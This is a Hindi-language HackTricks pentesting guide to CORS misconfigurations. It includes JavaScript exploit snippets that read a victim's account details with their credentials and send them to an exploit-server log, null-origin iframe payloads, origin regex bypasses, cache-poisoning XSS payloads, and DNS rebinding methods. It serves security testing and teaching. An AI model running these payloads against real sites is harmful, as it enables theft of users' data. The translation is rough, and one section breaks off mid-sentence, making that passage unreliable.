hacktricks/pentesting-web/cors-bypass.md

CORS - गलतियाँ और बाईपास

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• क्या आप एक साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
• खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
• प्राप्त करें आधिकारिक PEASS & HackTricks swag
• शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
• अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को।

CORS क्या है?

CORS (क्रॉस-संसाधन साझाकरण) मानक की आवश्यकता होती है क्योंकि यह सर्वरों को यह निर्दिष्ट करने की अनुमति देता है कि कौन उसके संसाधनों तक पहुंच सकता है और कौन से HTTP अनुरोध विधियाँ अनुमति दी जाती हैं बाहरी संसाधनों से।

समान-स्रोत नीति, एक नीति है जो यह आवश्यक करती है कि संसाधन का अनुरोध करने वाला सर्वर और संसाधन के स्थान वाला सर्वर एक ही प्रोटोकॉल (http://),domain नाम (internal-web.com) और एक ही पोर्ट (80) का उपयोग करें। फिर, यदि सर्वर समान-स्रोत नीति को बाध्य करता है, तो केवल वेब पृष्ठों को उसी डोमेन और पोर्ट से संसाधनों तक पहुंचने की अनुमति होगी।

निम्नलिखित तालिका में दिखाया गया है कि समान-स्रोत नीति कैसे लागू होगी http://normal-website.com/example/example.html में:

एक्सेस की गई URL	पहुंच अनुमति है?
http://normal-website.com/example/	हाँ: समान योजना, डोमेन और पोर्ट
http://normal-website.com/example2/	हाँ: समान योजना, डोमेन और पोर्ट
https://normal-website.com/example/	नहीं: अलग योजना और पोर्ट
http://en.normal-website.com/example/	नहीं: अलग डोमेन
http://www.normal-website.com/example/	नहीं: अलग डोमेन
http://normal-website.com:8080/example/	नहीं: अलग पोर्ट*

*इंटरनेट एक्सप्लोरर इस पहुंच की अनुमति देगा क्योंकि IE समान-स्रोत नीति को लागू करते समय पोर्ट नंबर का ध्यान नहीं रखता है।

Access-Control-Allow-Origin हैडर

Access-Control-Allow-Origin की विनिर्देशिका अनेक मूल या मान null या वाइल्डकार्ड * की अनुमति देती है। हालांकि, कोई भी ब्राउज़र अनेक मूलों का समर्थन नहीं करता और वाइल्डकार्ड * के उपयोग पर प्रतिबंध है। (वाइल्डकार्ड केवल अकेले उपयोग किया जा सकता है, इसमें विफल होगा Access-Control-Allow-Origin: https://*.normal-website.com और इसे उपयोग नहीं किया जा सकता है Access-Control-Allow-Credentials: true के साथ)

यह हेडर सर्वर द्वारा वापस दिया जाता है जब एक वेबसाइट एक क्रॉस-डोमेन संसाधन का अनुरोध करती है, जिसमें ब्राउज़र द्वारा Origin हेडर जोड़ा जाता है।

Access-Control-Allow-Credentials हेडर

क्रॉस-डोमेन संसाधन अनुरोधों का डिफ़ॉल्ट व्यवहार है कि अनुरोध को क्रेडेंशियल्स जैसे कुकीज़ और प्रमाणीकरण हेडर के बिना पारित किया जाए। हालांकि, क्रॉस-डोमेन सर्वर क्रेडेंशियल्स को पास करने पर उसे प्रतिक्रिया की पढ़ने की अनुमति दे सकता है जब उसे CORS Access-Control-Allow-Credentials हेडर को true पर सेट करके।

यदि मान true पर सेट किया जाता है तो ब्राउज़र क्रेडेंशियल्स (कुकीज़, प्रमाणीकरण हेडर या TLS क्लाइंट प्रमाणपत्र) भेजेगा।

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

प्री-फ्लाइट अनुरोध

निश्चित परिस्थितियों में, जब एक क्रॉस-डोमेन अनुरोध:

• गैर-मानक HTTP विधि (HEAD, GET, POST) को शामिल करता है
• नए हैडर्स को शामिल करता है
• विशेष Content-Type हैडर मान को शामिल करता है

{% hint style="info" %} इस लिंक में जांचें https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests एक अनुरोध की शर्तें जिनसे प्री-फ्लाइट अनुरोध भेजने से बचा जा सकता है {% endhint %}

क्रॉस-मूल संदेश के पहले एक अनुरोध के द्वारा पहले जाता है, जिसमें OPTIONS विधि का उपयोग किया जाता है, और CORS प्रोटोकॉल के अनुसार, क्रॉस-मूल अनुरोध की अनुमति से पहले कौन सी विधियाँ और हैडर्स अनुमति प्राप्त हैं इसकी प्रारंभिक जांच की आवश्यकता होती है। इसे प्री-फ्लाइट जांच कहा जाता है। सर्वर अनुमति प्राप्त विधियों की सूची के साथ विश्वसनीय मूल भी वापस करता है और ब्राउज़र देखता है कि अनुरोध करने वाली वेबसाइट की विधि अनुमति प्राप्त है या नहीं।

{% hint style="danger" %} ध्यान दें कि यदि प्री-फ्लाइट अनुरोध नहीं भेजा जाता है क्योंकि "सामान्य अनुरोध" की शर्तें पालन की जाती हैं, तो प्रतिक्रिया में अधिकृती हैडर्स होने चाहिए या तो ब्राउज़र अनुरोध की प्रतिक्रिया को पढ़ने में सक्षम नहीं होगा। {% endhint %}

उदाहरण के लिए, यह एक प्री-फ्लाइट अनुरोध है जो PUT विधि का उपयोग करने के साथ एक कस्टम अनुरोध हैडर को Special-Request-Header कहा जाता है:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

सर्वर निम्नलिखित तरह का प्रतिक्रिया लौटा सकता है:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers अनुमति प्राप्त हेडर्स
• Access-Control-Expose-Headers
• Access-Control-Max-Age पुनः-उड़ान के जवाब को कैश करने के लिए एक अधिकतम समयअंतर निर्धारित करता है
• Access-Control-Request-Headers क्रॉस-संस्करण अनुरोध द्वारा भेजना चाहिए हेडर
• Access-Control-Request-Method क्रॉस-संस्करण अनुरोध द्वारा उपयोग किया जाना चाहिए विधि
• Origin क्रॉस-संस्करण अनुरोध की मूल स्थान (ब्राउज़र द्वारा स्वचालित रूप से सेट किया जाता है)

ध्यान दें कि सामान्यतः (सामग्री प्रकार और हेडर्स सेट के आधार पर) GET/POST अनुरोध में कोई पुनः-उड़ान अनुरोध नहीं भेजा जाता है (अनुरोध को सीधे भेजा जाता है), लेकिन यदि आप प्रतिक्रिया के हेडर्स/बॉडी तक पहुंचना चाहते हैं, तो इसमें एक Access-Control-Allow-Origin हेडर होना चाहिए जो इसे अनुमति देता है।
इसलिए, CORS CSRF के खिलाफ सुरक्षा नहीं प्रदान करता है (लेकिन यह मददगार हो सकता है)।

स्थानीय नेटवर्क अनुरोध पुनः-उड़ान अनुरोध

जब एक अनुरोध स्थानीय नेटवर्क IP पते पर भेजा जाता है, तो 2 अतिरिक्त CORS हेडर भेजे जाते हैं:

• Access-Control-Request-Local-Network क्लाइंट अनुरोध हेडर इसका संकेत देता है कि अनुरोध स्थानीय नेटवर्क अनुरोध है
• Access-Control-Allow-Local-Network सर्वर प्रतिक्रिया हेडर इसका संकेत देता है कि संसाधन को बाहरी नेटवर्कों के साथ सुरक्षित रूप से साझा किया जा सकता है

स्थानीय नेटवर्क अनुरोध की अनुमति देने वाली एक मान्य प्रतिक्रिया में उत्तर में भी हेडर Access-Controls-Allow-Local_network: true होना चाहिए:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} ध्यान दें कि लिनक्स 0.0.0.0 आईपी इस्तेमाल करके लोकलहोस्ट तक पहुंचने की ये आवश्यकताओं को बाईपास करने के लिए काम करता है क्योंकि इस आईपी पते को "स्थानीय" नहीं माना जाता है।

यदि आप किसी स्थानीय अंतबंद्ध बिंदु (जैसे राउटर का सार्वजनिक आईपी) का सार्वजनिक आईपी पता उपयोग करते हैं, तो लोकल नेटवर्क आवश्यकताओं को बाईपास करना भी संभव है। क्योंकि कई बार, यदि सार्वजनिक आईपी तक पहुंचा जा रहा है, और यह स्थानीय नेटवर्क से है, तो पहुंच मिलेगी।

{% endhint %}

शोषणीय गलतियाँ

ध्यान दें कि अधिकांश वास्तविक हमलों के लिए Access-Control-Allow-Credentials को true पर सेट करने की आवश्यकता होती है क्योंकि इससे ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति मिलती है। क्रेडेंशियल्स के बिना, कई हमले अमान्य हो जाते हैं; इसका मतलब है कि आप उपयोगकर्ता के कुकीज़ पर नहीं सवारी जा सकती हैं, इसलिए उनके ब्राउज़र को अनुरोध जारी करने की बजाय खुद ही अनुरोध जारी करने से कुछ प्राप्त नहीं होता है।

एक महत्वपूर्ण अपवाद यह है जब पीड़ित के नेटवर्क स्थान को प्रमाणीकरण के रूप में कार्य करता है। आप एक पीड़ित के ब्राउज़र का उपयोग एक प्रॉक्सी के रूप में कर सकते हैं ताकि आईपी-आधारित प्रमाणीकरण को बाईपास करें और इंट्रानेट एप्लिकेशन तक पहुंचें। प्रभाव के मामले में यह DNS रिबाइंडिंग के समान है, लेकिन इसे उपयोग करना बहुत आसान होता है।

Access-Control-Allow-Origin में प्रतिबिंबित Origin

वास्तविक दुनिया में यह संभव नहीं हो सकता क्योंकि हेडर्स के इन 2 मानों को साथ में निषेधित किया जाता है। यह भी सत्य है कि बहुत सारे डेवलपर्स CORS में कई URL की अनुमति देना चाहते हैं, लेकिन सबडोमेन वाइल्डकार्ड या URL की सूची की अनुमति नहीं होती है। फिर, कई डेवलपर्स डाइनामिक रूप से **Access-Control-Allow-Origin**हेडर उत्पन्न करते हैं, और कई बार वे बस मूल हेडर के मान की प्रतिलिपि करते हैं।

उस मामले में, वही संकट शोषणीय हो सकता है।

अन्य मामलों में, डेवलपर यह जांच सकता है कि डोमेन (victimdomain.com) मूल हेडर में दिखाई देता है, तो एक हमलावर गोपनीय जानकारी चुरा सकता है जिसका नाम है attackervictimdomain.com।

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null उत्पन्न

null उत्पन्न हेडर के लिए एक विशेष मान है। विनिर्देशिका में इसे पुनर्निर्देशित करने और स्थानीय HTML फ़ाइलों द्वारा ट्रिगर किया जाने का उल्लेख किया गया है। कुछ अनुप्रयोग null उत्पन्न को समर्थन करने के लिए null उत्पन्न को सफलतापूर्वक व्हाइटलिस्ट कर सकते हैं।
यह अच्छा है क्योंकि कई अनुप्रयोग इस मान को स्वीकार करेंगे CORS में और कोई भी वेबसाइट आसानी से एक सैंडबॉक्स आइफ्रेम का उपयोग करके null उत्पन्न प्राप्त कर सकती है:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regexp बाईपास

यदि आपने डोमेन victim.com को व्हाइटलिस्टेड पाया है, तो आपको जांचना चाहिए कि victim.com.attacker.com भी व्हाइटलिस्टेड है, या फिर, यदि आप किसी सबडोमेन को ओवरटेक कर सकते हैं, तो जांचें कि somesubdomain.victim.com व्हाइटलिस्टेड है।

एडवांस्ड रेजेक्स बाईपास

स्ट्रिंग में डोमेन की पहचान करने के लिए उपयोग की जाने वाली अधिकांश रेजेक्स अल्फान्यूमेरिक ASCII वर्णों और .- पर ध्यान केंद्रित करेंगी। फिर, कुछ ऐसा victimdomain.com{.attacker.com जो मूल शीर्षक में हैडर के भीतर होगा, रेजेक्स द्वारा डोमेन के रूप में इंटरप्रिट किया जाएगा जैसे कि डोमेन victimdomain.com है, लेकिन ब्राउज़र (इस मामले में सफारी इस वर्ण का समर्थन करता है) डोमेन attacker.com तक पहुंचेगा।

उपनिवेश में _ वर्ण (सबडोमेन में) सिर्फ सफारी में ही समर्थित है, बल्कि क्रोम और फ़ायरफ़ॉक्स में भी!

फिर, इन सबडोमेन में से एक का उपयोग करके आप कुछ "सामान्य" रेजेक्स को दौर कर सकते हैं ताकि एक URL के मुख्य डोमेन को खोजा जा सके।

इस बाईपास की अधिक जानकारी और सेटिंग्स के लिए देखें: https://www.corben.io/advanced-cors-techniques/ और https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

XSS सबडोमेन के अंदर से

CORS शोषण के खिलाफ डेवलपर्स द्वारा उपयोग किए जाने वाले एक संरक्षणात्मक युक्ति है कि वे ऐसे डोमेन को व्हाइटलिस्ट करें जो नियमित रूप से जानकारी के लिए पहुंच का अनुरोध करते हैं। हालांकि, यह पूरी तरह सुरक्षित नहीं है, क्योंकि यदि व्हाइटलिस्टेड डोमेन के सबडोमेन में से एक अन्य एक्सप्लॉइट्स जैसे XSS के लिए वंशज होता है, तो यह CORS शोषण सक्षम कर सकता है।

एक उदाहरण को विचार करें, निम्नलिखित कोड में विन्यास दिखाया गया है जो requester.com के सबडोमेन को provider.com के संसाधनों तक पहुंच की अनुमति देता है।

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}

यदि एक उपयोगकर्ता के पास sub.requester.com का उपयोग होता है, लेकिन requester.com का उपयोग नहीं होता है, और मान लें कि sub.requester.com XSS के प्रति संक्रमणशील है। उपयोगकर्ता क्रॉस-साइट स्क्रिप्टिंग हमला विधि का उपयोग करके provider.com को शोषित कर सकता है।

सर्वर-साइड कैश पॉइजनिंग

यदि सितारे संरेखित हों, तो हम एचटीटीपी हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइजनिंग का उपयोग करके स्टोर्ड XSS संक्रमणशीलता बना सकते हैं।

यदि एक एप्लिकेशन मूल हेडर को प्रतिबिंबित करता है और इसे अवैध वर्णों की जांच नहीं करता है, जैसे कि , तो हमारे पास वास्तव में IE/Edge उपयोगकर्ताओं के खिलाफ एचटीटीपी हेडर इंजेक्शन संक्रमणशीलता होती है क्योंकि इंटरनेट एक्सप्लोरर और एज ने \r (0x0d) को एक मान्य एचटीटीपी हेडर समाप्तकारक के रूप में देखा है:GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

इंटरनेट एक्सप्लोरर ने प्रतिक्रिया को इस प्रकार देखा है:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

यह सीधे उपयोगी नहीं है क्योंकि किसी हमलावर्ती को किसी के वेब ब्राउज़र को इस तरह का अवैध हेडर भेजने का कोई तरीका नहीं है, लेकिन मैं बर्प स्वीट में इस अनुरोध को मैन्युअली बना सकता हूँ और सर्वर-साइड कैश उत्तर को सहेज सकता हूँ और इसे अन्य लोगों को सेव कर सकता हूँ। मैंने उपयोग किया पेलोड पृष्ठ के वर्ण सेट को UTF-7 में बदल देगा, जो XSS संक्रमणशीलता बनाने के लिए प्रसिद्ध है।

क्लाइंट-साइड कैश पॉइजनिंग

आपने कभी-न-कभी एक पृष्ठ के साथ प्रतिबिंबित XSS वाले एक कस्टम एचटीटीपी हेडर के साथ सामने आए होंगे। कहें एक वेब पृष्ठ ने कस्टम हेडर की सामग्री को एनकोडिंग किए बिना प्रतिबिंबित किया है:

GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert\(1\)>\

CORS के साथ, हम Header में किसी भी मान को भेज सकते हैं। इसके अलावा, यह बेकार है क्योंकि हमारे इंजेक्टेड जावास्क्रिप्ट को संबंधित URL पर नवीनीकृत करने वाला प्रतिक्रिया प्रदर्शित नहीं होगा। हालांकि, यदि Vary: Origin निर्दिष्ट नहीं किया गया है तो प्रतिक्रिया ब्राउज़र कैश में संग्रहीत हो सकती है और जब ब्राउज़र संबंधित URL पर नेविगेट करता है तो सीधे प्रदर्शित की जा सकती है। मैंने एक fiddle बनाया है इस हमले को आपके चयनित URL पर प्रयास करने के लिए। यह हमला क्लाइंट-साइड कैशिंग का उपयोग करता है, इसलिए यह वास्तव में अच्छी तरह से काम करता है।

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>

बाईपास

XSSI (क्रॉस-साइट स्क्रिप्ट इनक्लूजन) / JSONP

XSSI एक प्रकार की सुरक्षा कमजोरी को दर्शाता है जो यह उपयोग करती है कि जब एक संसाधन script टैग का उपयोग करके सम्मिलित किया जाता है, तो SOP लागू नहीं होता है, क्योंकि स्क्रिप्ट को क्रॉस-डोमेन में सम्मिलित किया जा सकता है। इसलिए, एक हमलावर ऐसा सब कुछ पढ़ सकता है जो script टैग का उपयोग करके सम्मिलित किया गया था।

यह विशेष रूप से रुचिकर होता है जब यह डाइनेमिक जावास्क्रिप्ट या JSONP के संदर्भ में आता है, जब ऐसे संदर्भ में प्रमाणीकरण के लिए कुकीज़ जैसी वातावरण-अधिकारिता जानकारी का उपयोग किया जाता है। कुकीज़ एक अलग होस्ट से संसाधन का अनुरोध करते समय सम्मिलित होती हैं। BurpSuite प्लगइन: https://github.com/kapytein/jsonp

यहां विभिन्न प्रकार के XSSI के बारे में और उन्हें कैसे शोषित किया जाए, इसके बारे में और अधिक पढ़ें।

अनुरोध में एक callback पैरामीटर जोड़ने का प्रयास करें। शायद पृष्ठ को JSONP के रूप में डेटा भेजने के लिए तैयार किया गया था। उस मामले में पृष्ठ डेटा को Content-Type: application/javascript के साथ वापस भेजेगा जो CORS नीति को छोड़ देगा।

आसान (अवांछित?) बाईपास

आप एक वेब एप्लिकेशन से अनुरोध कर सकते हैं कि वह आपके लिए एक अनुरोध करें और प्रतिक्रिया वापस भेजें। इससे Access-Control-Allow-Origin को छोड़ देगा, लेकिन ध्यान दें कि अंतिम पीड़ित को क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि आप एक अलग डोमेन (जिससे आप अनुरोध करेंगे) से संपर्क कर रहे होंगे।

CORS-escape

CORS-escape हमारे अनुरोध के साथ उसके हेडर्स को पारित करने वाला एक प्रॉक्सी प्रदान करता है, और यह भी मूल हेडर (मूल = अनुरोधित डोमेन) को धोखा देता है। इसलिए CORS नीति को छोड़ दिया जाता है।
स्रोत कोड Github पर है, ताकि आप अपना खुद का होस्ट कर सकें।

xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");

simple-cors-escape

प्रॉक्सींग किसी तरह से आपके अनुरोध को "पास करने" की तरह होती है, जैसे आपने भेजा है। हम इसे एक ऐसे विकल्प में हल कर सकते हैं जिसमें अब आपके अनुरोध को पास करने की बजाय, सर्वर अपने अपने पैरामीटर के साथ अपना खुद का अनुरोध करता है।

Iframe + Popup Bypass

आप एक आईफ्रेम बनाकर और उससे एक नई विंडो खोलकर e.origin === window.origin जैसे CORS जांचों को बाईपास कर सकते हैं। अधिक जानकारी निम्नलिखित पृष्ठ में मिलेगी:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL के माध्यम से DNS Rebinding

मूलभूत रूप से आप पीड़ित को अपने पेज तक पहुंचाते हैं, फिर आप अपने डोमेन का DNS (IP) बदलते हैं और इसे अपने पीड़ित के वेब पेज पर पहुंचाते हैं। जब TTL समाप्त हो जाता है, तो आपके पीड़ित को नए DNS अनुरोध की जाएगी और फिर आप जानकारी इकट्ठा कर सकेंगे (क्योंकि आप हमेशा उपयोगकर्ता को अपने डोमेन में रखते हैं, वह पीड़ित सर्वर को कोई कुकी नहीं भेजेगा, इसलिए यह विकल्प पीड़ित के IP की विशेष विशेषाधिकारों का दुरुपयोग करता है)।

यदि आप TTL को बहुत कम (0 या 1) सेट करते हैं, तो ब्राउज़रों में एक कैश होता है जो आपको कई सेकंड/मिनटों तक इसका दुरुपयोग करने से रोकेगा।

इसलिए, यह तकनीक निर्दिष्ट जांचों को बाईपास करने के लिए उपयोगी है (पीड़ित निर्दिष्ट जांच करने के लिए DNS अनुरोध कर रहा है और जब बॉट को बुलाया जाएगा तो वह अपना अपना करेगा)।

या जब आपके पास एक उपयोगकर्ता/बॉट लंबे समय तक एक ही पेज में हो सकता है (ताकि आप कैश समाप्त होने तक प्रतीक्षा कर सकें)।

यदि आपको इसका उपयोग करने के लिए कुछ त्वरित चाहिए तो आप https://lock.cmpxchg8b.com/rebinder.html जैसी सेवा का उपयोग कर सकते हैं।

यदि आप अपना खुद का DNS rebinding सर्वर चलाना चाहते हैं तो आप DNSrebinder जैसी कुछ चीजें उपयोग कर सकते हैं, फिर अपने स्थानीय पोर्ट 53/udp को उद्घाटित करें, इसके लिए एक A रजिस्ट्री बनाएं (ns.example.com) और एक NS रजिस्ट्री बनाएं जो पहले से बनाए गए A उप-डोमेन(ns.example.com) को पोइंट करता है।
फिर, उस उप-डोमेन (ns.example.com) के किसी भी उप-डोमेन को आपके होस्ट द्वारा हल किया जाएगा।

http://rebind.it/singularity.html में भी सार्वजनिक रूप से चल रहा सर्वर देखें

DNS Rebinding के माध्यम से DNS कैश फ्लडिंग

पिछले खंड में समझाया गया था कि ब्राउज़रों के पास डोमेनों के IP को टीटीएल में निर्दिष्ट समय से अधिक समय तक कैश होता है। हालांकि, इस सुरक्षा को बाईपास करने का एक तरीका है।

आपके पास एक सर्विस वर्कर हो सकता है जो DNS कैश को फ्लड करेगा और दूसरा DNS अनुरोध बाध्य करेगा। इसलिए फ्लो का फ्लो इस प्रकार होगा:

1. DNS अनुरोध ने हमलावर पते के साथ प्रतिक्रिया दी
2. सर्विस वर्कर ने DNS कैश को फ्लड किया (कैश किए गए हमलावर सर्वर का नाम हटा दिया गया है)
3. दूसरा DNS अनुरोध इस बार 127.0.0.1 के साथ प्रतिक्रिया दी गई

नीला पहला DNS अनुरोध है और नारंगी फ्लड है।

DNS Rebinding के माध्यम से कैश

पिछले खंड में समझाया गया था कि ब्राउज़रों के पास ड

DNS Rebinding के खिलाफ वास्तविक सुरक्षा

• आंतरिक सेवाओं में TLS का उपयोग करें
• डेटा तक पहुंच के लिए प्रमाणीकरण का अनुरोध करें
• Host हैडर की प्रमाणित करें
• https://wicg.github.io/private-network-access/: प्रस्ताव जब सार्वजनिक सर्वर आंतरिक सर्वरों तक पहुंच करना चाहते हैं तो हमेशा प्री-फ्लाइट अनुरोध भेजें

उपकरण

CORS नीतियों में संभावित गलतियों को फज करें

• https://github.com/chenjj/CORScanner
• https://github.com/lc/theftfuzzer
• https://github.com/s0md3v/Corsy
• https://github.com/Shivangx01b/CorsMe

संदर्भ

{% embed url="https://portswigger.net/web-security/cors" %}

{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}

{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}

{% embed url="https://www.codecademy.com/articles/what-is-cors" %}

{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}

{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}

{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं? या क्या आप PEASS की नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सदस्यता योजनाएं की जांच करें!
• खोजें The PEASS Family, हमारा विशेष NFT संग्रह
• प्राप्त करें आधिकारिक PEASS & HackTricks swag
• शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।
• अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को।